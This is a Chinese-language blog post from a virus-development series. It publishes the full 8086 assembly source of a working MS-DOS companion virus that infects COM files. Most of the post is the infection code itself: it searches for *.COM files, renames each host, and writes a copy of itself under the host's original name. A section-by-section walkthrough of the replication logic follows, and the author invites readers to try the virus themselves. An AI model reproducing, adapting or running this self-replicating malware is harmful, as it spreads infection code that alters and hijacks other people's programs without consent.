前往
大廳
主題

病毒開發(8) - Companion Virus 原始碼與設計上的細節

虛鹿 | 2022-03-06 10:49:57 | 巴幣 36 | 人氣 473


各位先聽首歌,
放鬆一下心情,並做好心理準備。
因為等一下要講解的,
是一個約130行左右的組合語言病毒。
(媽的我寫了快一周才做出來...... = =

真心建議,那些想學病毒開發的巴友,
先去把組合語言的基礎學熟,
否則我怕諸君的心臟真的會受不了….∑(゚Д゚)

由於
上一次已經介紹過Companion Virus的定義,
已及這份病毒執行時的感染特徵,
因此這邊就不再贅述。

總之,
在窩完成開發這個病毒後,
我認為Companion Virus 在設計上的幾個重點,
分別是:

       1. 如何重新分配記憶體空間 ?
       2. 如何呼叫宿主,並成功執行之 ?
       3. 如何正確地讓宿主轉移控制權回病毒 ?
       4. 如何幫宿主善後 ?
       5. 組語的string manipulation ?      

這邊先給各位看看原始碼,
等一下再一一解釋我的處理方法。

[#] 病毒規格:
開發者: 虛鹿(Falsedeer)
平台: MS-DOS(Dosbox可模擬)
語法: 8086 Assembly (TASM)
感染範圍: 所在的資料夾而已
是否有隱藏檔案: 無
是否有破壞性: 無,單純感染COM
預設的宿主: Hello.com

[#] Miraix 原始碼:
; miarix - companion virus version
; coded by Falsedeer@gamer.com.tw, 02/24/2022

; ==================== CODE AREA ======================
.model small
.CODE
.386
ORG 100h

Filename EQU (OFFSET DTA) + 1eh
virsize EQU (OFFSET finish) - (OFFSET start)

start:
    jmp exechost

exechost:
    mov bx, OFFSET virsize + 100h                ;re-size memory to the minimun require
    mov ah, 4ah
    int 21h
    
    xor al, al
    mov bx, OFFSET paramblk
    mov dx, OFFSET Hostname
    mov sp, OFFSET finish + 100h                 ;move self(virus) after host program
    mov ah, 4bh
    int 21h
    
cleanup:
    mov ah, 1ah
    mov dx, OFFSET DTA
    int 21h                                                      ;reset all register fucked up by host program
    mov ax, cs
    mov ss, ax
    mov ds, ax
    mov es, ax
    mov sp, (OFFSET virsize) + 200h          ;reset stack pointer

search:
    mov ah, 4eh
    xor cx, cx                                                ;prepare for first search
    mov dx, OFFSET Filetype1    
    int 21h
    jc done                                                   ;end process, if the isn't any first match
    xor di, di                                                 ;set di to zero, prepare for filter's
    xor bp, bp
    mov bx, OFFSET Filename
    mov bp, OFFSET Hostname
    mov al, byte PTR [bx]                            ;saving filename's first letter manualy.
    mov byte PTR [bp], al
                                                                   ;saving filename to var:Hostname
markup:                                                     ;moving all shits before terminate zero to overwrite hostname
    inc di
    xor ax, ax
    mov al, byte ptr [bx+di]
    mov byte ptr [bp+di], al
    cmp byte ptr [bp+di], '.'
    jnz markup

xchgext:                                                      ;change the extension to COM
    inc di
    mov byte PTR [bp+di], 'C'
    inc di
    mov byte PTR [bp+di], 'O'
    inc di
    mov byte PTR [bp+di], 'M'
    inc di
    mov byte PTR [bp+di], 0                            ;adding a terminate zero for the var
    mov si, di

xchgname:
    lea bx, Hostname
    mov di, si
    mov byte ptr [bx], 'X'
    mov byte ptr [bx+di], 0
    lea bx, Hostname
    mov byte ptr [bx+di], 0

infect:
    mov ah, 56h                                           ;rename the new victim
    mov dx, OFFSET Filename                    ;original filename
    mov di, OFFSET Hostname                   ;new filename
    int 21h

    xor ax, ax
    mov ah, 3ch
    mov cx, 0                                              ;create new companion file
    mov dx, OFFSET Filename                  ;return file handler on ax
    int 21h

    xchg bx, ax                                           ;throw the file handle to bx
    mov ah, 40h                                          ;write virus to the companion file
    mov cx, OFFSET virsize
    mov dx, 100h
    int 21h

search_next:
    mov ah, 4fh                                           ;prepare for next search
    mov dx, OFFSET Filetype1
    int 21h
    jc done
    xor di, di
    xor bp, bp
    mov bx, OFFSET Filename
    mov bp, OFFSET Hostname
    mov al, byte PTR [bx]
    mov byte PTR [bp], al
    jmp markup

done:
    mov ah, 4ch
    int 21h
                         
; ====================== VAR AREA ======================
Hostname db "HELLO.COM",0                   ;this victim
Filetype1 db "*.COM",0                                ;set COM File as target
msg db "test$"                                              ;for debug
DTA db 128 dup(0)                                       ;dta is 128 byte long
paramblk:                                                     ;fucking parameter block for exec host program
    dw 0
    dw 0
    dw 5ch
    dw ?
    dw 6ch
    dw ?
    dw ?

; =====================================================    
    
finish:                                                           ;marks the end of code
end start

[#] 程式碼解析:
-----------------------------------------
1. 如何重新分配記憶體空間 ?

Ans: 為了要能夠呼叫宿主的程式,
因此我們必須充新分配記憶體空間,
來把自身佔據的記憶體壓縮至最小。

由於COM檔預設的記憶體大小為64KB,
因此如果妥善分配,是不可能不夠用的。
於是呢,在exechost下方的那段:
exechost:
    mov bx, OFFSET virsize + 100h       ;re-size memory to the minimun require
    mov ah, 4ah
    int 21h
便是用來處理記憶體空間的分配。

分配的方法是使用Dos Int 4Ah (Modify Alocated Memory),
而劃分的大小為病毒自身的大小(virsize),
加上100h(256 byte)多餘的緩衝空間。
-----------------------------------------
2. 如何呼叫宿主,並成功執行之 ?

Ans:
對應的程式碼為exechost的下半部。
exechost:
   ~~~~ relocate memory ~~~~

    xor al, al
    mov bx, OFFSET paramblk
    mov dx, OFFSET Hostname
    mov sp, OFFSET finish + 100h                 ;move self(virus) after host program
    mov ah, 4bh
    int 21h
執行的方法是使用Dos Int 4Bh(execute program),
paramblock 中指定的地址就是預設FCB的地址,
基本上照抄我的設定即可,不必特別去了解。

還有一點必須提一下,
這邊我把stack pointer移到病毒後方100h的位置,
是為了避免呼叫的宿主程式有用到stack指令,
讓病毒的參數與宿主的資料混再一起。
因此,在這個地方就先移動 sp,
讓宿主能夠安心使用。
-----------------------------------------
3. 如何正確地讓宿主轉移控制權回病毒 ?

Ans:
這個部分對應的程式碼為:
cleanup:
    mov ah, 1ah
    mov dx, OFFSET DTA
    int 21h                                                      ;reset all register fucked up by host program
    mov ax, cs
    mov ss, ax
    mov ds, ax
    mov es, ax
    mov sp, (OFFSET virsize) + 200h          ;reset stack pointer

由於COM檔的特性,
CS=DS=ES=SS
所以我使用CS重設所有暫存器的值。
畢竟在呼叫宿主程式後,
他使用的暫存器肯定會有部分與病毒重疊,
因此我們必須為他善後。

還有一點必須注意,
那行 mov sp,  (offset virsize) +200h
是為了回復原先的sp的值。
一個PSP是100h,加上我們先前移動的100h,
因此這邊需移動的距離為:

宿主PSP + 事先規劃的位置(病毒後方100h)
+ 病毒本體大小(virsize) = virsize + 200h

沒意外地話,dos int 4bh 在正確執行後,
控制權會返還呼叫的病毒。
-----------------------------------------
5. 組語的string manipulation ?    

Ans:
由於虛鹿我真的不知道,
該如何從記憶體中提取變數,
並修改字串中的部分字母。(為了重新命名宿主)

我這部分想了超久,
畢竟 Stack overflow上沒有類似的疑問,
因此我大該花了4, 5天,才想到處理辦法:

"只要沒有變數,就沒有提取變數的問題 !!"

哇幹咧,我他媽的簡直是天才。

所以,我這邊是使用很暴力的手法,
直接去修改記憶體中的值,
這樣就能直接避免問題產生了。

對應的程式碼:
search:
    mov ah, 4eh
    xor cx, cx                                          ;prepare for first search
    mov dx, OFFSET Filetype1    
    int 21h
    jc done                                               ;end process, if the isn't any first match
    xor di, di                                             ;set di to zero, prepare for filter's
    xor bp, bp
    mov bx, OFFSET Filename
    mov bp, OFFSET Hostname
    mov al, byte PTR [bx]                        ;saving filename's first letter manualy.
    mov byte PTR [bp], al
                                                              ;saving filename to var:Hostname
markup:                                                 ;moving all shits before terminate zero to overwrite hostname
    inc di
    xor ax, ax
    mov al, byte ptr [bx+di]
    mov byte ptr [bp+di], al
    cmp byte ptr [bp+di], '.'
    jnz markup

xchgext:                                                         ;change the extension to COM
    inc di
    mov byte PTR [bp+di], 'C'
    inc di
    mov byte PTR [bp+di], 'O'
    inc di
    mov byte PTR [bp+di], 'M'
    inc di
    mov byte PTR [bp+di], 0                            ;adding a terminate zero for the var
    mov si, di

xchgname:
    lea bx, Hostname
    mov di, si
    mov byte ptr [bx], 'X'                                 ;change the first letter of the hostname to "X"
    mov byte ptr [bx+di], 0
    lea bx, Hostname
    mov byte ptr [bx+di], 0

相關操作手法,
可以參考一下這一篇在處理字串的部分。
-----------------------------------------
好啦,這次就先講到這邊,
有興趣的記得回家試試看虛鹿的病毒。
如果沒意外的話,
下次會介紹三種基本的Com infector之中,
最後一種: Parasitic Virus(寄生病毒) !!
\(≧▽≦)/




送禮物贊助創作者 !
0
留言

創作回應

Nero
酷 不過是ㄅ是因為用DOS才能這樣直接改記憶體的值 我記得我那時候在win10用MASM連keyboard interrupt都擋掉
2022-03-06 11:06:36
虛鹿
這個我不太確定,畢竟我寫的程式都是用8086 Assembly(16 bit),因此根本無法獨立在現今的windows 版本上執行。
2022-03-07 18:10:41
虛鹿
但我認為,應該有比更改記憶體之外更好的處理辦法,或許只是我還沒學會相關操作而已。
2022-03-07 18:14:23

更多創作